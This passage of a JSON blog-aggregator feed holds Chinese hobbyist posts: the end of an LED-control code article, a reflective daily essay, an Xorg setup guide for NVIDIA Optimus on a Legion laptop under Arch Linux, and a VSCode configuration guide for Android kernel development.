class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行Crt_Main_Task对应的任务,这个其实可以再拆一个 类 出来,但是没有更多功能要写,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 先扔这里了。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 延时开启下一组led的呼吸任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eindex\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行所有的led的任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 隔一段时间输出一下led的状态\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_30\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/led%E7%81%AF%E6%8E%A7%E5%88%B6usart/"},{"title":"链接","time":"0001-01-01T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/%E9%93%BE%E6%8E%A5/"},{"title":"搜索","time":"0001-01-01T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/search/"}]},{"name":"Xiue's Blog","email":"","uri":"https://xiue233.github.io/","description":"A lazy dog.","article":[{"title":"每日随笔之胡言乱语","time":"2024-08-30T05:56:19Z","content":"\u003cp\u003e随笔,随缘瞎写。\u003c/p\u003e\n\u003cp\u003e尝试剖析一切背后的东西,从千万中倒推1,从1倒退道。何知大道亦有千万。发散亦是一种收敛。\u003c/p\u003e\n\u003ch3 id=\"2024年8月30日\"\u003e\u003ca href=\"#2024年8月30日\" class=\"headerlink\" title=\"2024\u003chr /\u003e\u003cp\u003e随笔,随缘瞎写。\u003c/p\u003e\u003cp\u003e尝试剖析一切背后的东西,从千万中倒推1,从1倒退道。何知大道亦有千万。发散亦是一种收敛。\u003c/p\u003e\u003ch3 id=\"2024年8月30日\"\u003e\u003ca href=\"#2024年8月30日\" class=\"headerlink\" title=\"2024年8月30日\"\u003e\u003c/a\u003e2024年8月30日\u003c/h3\u003e\u003cul\u003e\u003cli\u003e每日忙忙碌碌却又无所事事,就和仓鼠跑轮子一样,只是逃避迷茫和困难的一种方式。\u003c/li\u003e\u003cli\u003e选择是痛苦的,没有选择就不会痛苦,也什么都没有。\u003c/li\u003e\u003cli\u003e计划会使事情变得简单,一切都因此变得简单。一览无余的地平线,只会看到落日后的景象,寂寥而又沉闷。\u003c/li\u003e\u003c/ul\u003e","url":"https://xiue233.github.io/2024/08/30/daily-essay/"},{"title":"Linux下适配拯救者Y9000X的Optimus方案","time":"2024-08-27T08:06:00Z","content":"\u003cp\u003e\u003cstrong\u003eTips:于2024-8-25基于新的情况又修改了一个版本,上一个版本由于未能深入研究与思考,存在很多问题。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e当年,年少无知,被引入了Arch\u003cdel\u003e邪\u003c/del\u003e神教,在Y9000X 2022款下,为了解决Optimus的\u003chr /\u003e\u003cp\u003e\u003cstrong\u003eTips:于2024-8-25基于新的情况又修改了一个版本,上一个版本由于未能深入研究与思考,存在很多问题。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e当年,年少无知,被引入了Arch\u003cdel\u003e邪\u003c/del\u003e神教,在Y9000X 2022款下,为了解决Optimus的兼容问题,一路倒腾。\u003c/p\u003e\u003cp\u003e注意:本文章对应的机子为Y9000X 2022 i7+3060款,在外置硬盘上安装了ArchLinux,使用的是\u003ca href=\"https://github.com/Askannz/optimus-manager\"\u003eOptimus-manager\u003c/a\u003e与\u003ccode\u003e闭源nvidia驱动\u003c/code\u003e。参考本教程操作系统时,若造成不良后果,本人概不负责。\u003c/p\u003e\u003ch2 id=\"什么是MUX?\"\u003e\u003ca href=\"#什么是MUX?\" class=\"headerlink\" title=\"什么是MUX?\"\u003e\u003c/a\u003e什么是MUX?\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"/images/muxed-introduction.jpg\" alt=\"muxed-introduction\"\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e笔记本中的MUX(多路复用器)是一种硬件组件,它的主要作用是选择和切换不同的视频输出信号源。很多现代笔记本电脑都有两个图形处理器(GPU):一个是集成在处理器中的低功耗集成显卡,另一个是独立的高性能显卡。MUX可以帮助用户在集成显卡和独立显卡之间切换,从而根据需要在节能和性能之间进行平衡。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMUX Switch可以说是一种多显卡切换方案,具体细节不再追述,请自行查阅相关资料,简单来说分为:integrated(集显模式)、hybrid(混显模式)、discrete(独显模式)。\u003c/p\u003e\u003cp\u003e上述模式功能如名,是与接入显卡的方式有关的。可以看上图展示的三种模式,其中Y9000X很荣幸使用了第三种Very high-end \u003cdel\u003elow\u003c/del\u003e的模式,在混显模式下独显会通过核显输出(与图中描述有点差异),在独显模式下,将会屏蔽核显,直接由独显输出。\u003c/p\u003e\u003ch2 id=\"针对Mux的适配方案\"\u003e\u003ca href=\"#针对Mux的适配方案\" class=\"headerlink\" title=\"针对Mux的适配方案\"\u003e\u003c/a\u003e针对Mux的适配方案\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003eOptimus Manager 是一款在 Linux 系统中管理双显卡切换的软件,主要针对带有 NVIDIA Optimus 技术的笔记本电脑。Optimus 是 NVIDIA 提供的一项技术,用于在集成显卡(通常是 Intel GPU)和独立显卡(NVIDIA GPU)之间自动切换,以便在性能和电池续航之间取得平衡。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e正常情况下,你只需要安装\u003ccode\u003eoptimus-manager\u003c/code\u003e即可,但是如果你需要能够同时支持独显与混显,那么还是需要配置一下。\u003c/p\u003e\u003cp\u003eOptimus Manger会根据配置文件,在开机时自动配置显示模式。但是,在集显模式下,它由于没有识别到集显,认为这是一个非支持Mux的机子,故直接报错且不生成相关的显示配置文件,这就导致了无法找到画面输出窗口和输出卡。\u003c/p\u003e\u003cp\u003e针对X11来说,可以在\u003ccode\u003e/etc/X11/xorg.conf.d/\u003c/code\u003e下创建一个\u003ccode\u003e30-nvidia.conf\u003c/code\u003e,内容如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs conf\"\u003eSection \u0026quot;Device\u0026quot;\u003cbr\u003e Identifier \u0026quot;nvidia\u0026quot;\u003cbr\u003e Driver \u0026quot;nvidia\u0026quot;\u003cbr\u003e BusID \u0026quot;PCI:1:0:0\u0026quot; # 一般是1:0:0,根据自己的实际情况来\u003cbr\u003e Option \u0026quot;AllowEmptyInitialConfiguration\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003eSection \u0026quot;ServerLayout\u0026quot;\u003cbr\u003e Identifier \u0026quot;layout\u0026quot;\u003cbr\u003e Screen 0 \u0026quot;nvidia\u0026quot;\u003cbr\u003e Option \u0026quot;AllowNVIDIAGPUScreens\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003eSection \u0026quot;Screen\u0026quot;\u003cbr\u003e Identifier \u0026quot;nvidia\u0026quot;\u003cbr\u003e Device \u0026quot;nvidia\u0026quot;\u003cbr\u003eEndSection\u003cbr\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就可以在Optimus Manager无效的情况下,也能选择这一个次优先配置文件,加载相应的显示配置。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e建议自行查找资料,学习Linux桌面环境是如何从查找输出设备、屏幕到输出这个过程的。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"尾语\"\u003e\u003ca href=\"#尾语\" class=\"headerlink\" title=\"尾语\"\u003e\u003c/a\u003e尾语\u003c/h2\u003e\u003cp\u003e从最开始的22年还是23年捣鼓这个事情,到现在又捣鼓了几个星期,确实了解到了不少东西。\u003c/p\u003e\u003cp\u003e尤其是,在Linux环境下修复Bug是一个具有逻辑、挑战以及意义的事情,你想要修复一个看似是显卡加载带来的问题,实际上也会遇到显示流程带来的问题。因此,连贯、系统、有逻辑分析与思考地认识问题,从问题中不断的研究与学习我觉得是必要的。\u003c/p\u003e\u003cp\u003e最开始的解决方案也是歪打正着,实际上也是创建了一个备用的配置文件,在Optimus Manager不能生成配置文件时启用了,但是当时把整个的错误原因怪罪于Optimus Manager。\u003c/p\u003e\u003cp\u003e捣鼓Linux尤其是像Arch这种稍微折腾一点的,确实是一件浪费时间的事情,但是他真的单纯是浪费吗?\u003c/p\u003e\u003cp\u003e在Windows下,如果遇到了一个问题,不断的查日志、查官方的资料,即使你最后找到了问题的根因,也不一定能够动手去解决这个问题,最终可能是要等官方推送新的补丁,或者说根本解决不了。\u003c/p\u003e\u003cp\u003e能力越大责任越大,在Linux下,挑战与机遇并存,在一次次的解决与尝试中,就像魂类游戏在一次次的死亡中研究对手招式一样不断的积累与突破自我,最后打败对手的那一刻,饱含了无数次死亡蕴含的不甘、激情与兴奋。敌愈强,吾愈强。\u003c/p\u003e\u003cblockquote\u003e\u003ch2 id=\"踏上取经之路,比达到灵山更重要。\"\u003e\u003ca href=\"#踏上取经之路,比达到灵山更重要。\" class=\"headerlink\" title=\"踏上取经之路,比达到灵山更重要。\"\u003e\u003c/a\u003e踏上取经之路,比达到灵山更重要。\u003c/h2\u003e\u003c/blockquote\u003e","url":"https://xiue233.github.io/2024/08/27/linux-mux-resolution-for-legion/"},{"title":"配置VSCode以开发安卓内核","time":"2024-08-13T01:30:07Z","content":"\u003cp\u003e打算开发个Android内核模块玩一玩,奈何我的Pixel3的内核源码和环境全配在服务器上了,只好捣鼓一下远程开发,最后选择了VSCode。\u003c/p\u003e\n\u003ch2 id=\"VSCode插件下载\"\u003e\u003ca href=\"#VSCode插件下载\" class=\"headerlink\" t\u003chr /\u003e\u003cp\u003e打算开发个Android内核模块玩一玩,奈何我的Pixel3的内核源码和环境全配在服务器上了,只好捣鼓一下远程开发,最后选择了VSCode。\u003c/p\u003e\u003ch2 id=\"VSCode插件下载\"\u003e\u003ca href=\"#VSCode插件下载\" class=\"headerlink\" title=\"VSCode插件下载\"\u003e\u003c/a\u003eVSCode插件下载\u003c/h2\u003e\u003col\u003e\u003cli\u003eclangd\u003c/li\u003e\u003cli\u003eRemote Development\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"compile-commands-json文件生成\"\u003e\u003ca href=\"#compile-commands-json文件生成\" class=\"headerlink\" title=\"compile_commands.json文件生成\"\u003e\u003c/a\u003ecompile_commands.json文件生成\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ecompile_commands.json\u003c/code\u003e 是一个 JSON 格式的文件,用来描述一个 C\u0026#x2F;C++ 项目中所有源文件的编译信息。这个文件通常由构建系统生成(如 CMake、Bear),并被许多代码编辑器和IDE用来提供更准确的代码补全、语法检查、错误检测等功能。\u003c/p\u003e\u003cp\u003ecompile_commands.json的生成方式根据构建系统而异,自行根据所用构建系统搜索相关方法。\u003c/p\u003e\u003cp\u003e有一个哥们写了一个生成的脚本,可以用它来一键生成。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/amezin/vscode-linux-kernel\"\u003evscode-linux-kernel\u003c/a\u003e\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e首先确保内核源码经过一次完整的构建\u003c/span\u003e\u003cbr\u003emake defconfig \u003cbr\u003emake\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e进行相关配置文件的生成\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e可以不在.vscode下,自行复制输出的配置文件到.vscode下即可\u003c/span\u003e\u003cbr\u003egit clone git@github.com:amezin/vscode-linux-kernel.git .vscode\u003cbr\u003epython .vscode/generate_compdb.py -O /你的编译输出文件路径\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"VSCode的配置\"\u003e\u003ca href=\"#VSCode的配置\" class=\"headerlink\" title=\"VSCode的配置\"\u003e\u003c/a\u003eVSCode的配置\u003c/h2\u003e\u003cp\u003e上文提到了通过脚本来生成配置文件,可以直接用它生成的配置。\u003c/p\u003e\u003cp\u003e针对\u003ccode\u003esettings.json\u003c/code\u003e可以进行如下配置(clangd等路径信息改为自己的,我这里直接用x86_64的clangd了,反正编译是通过构建脚本的):\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan 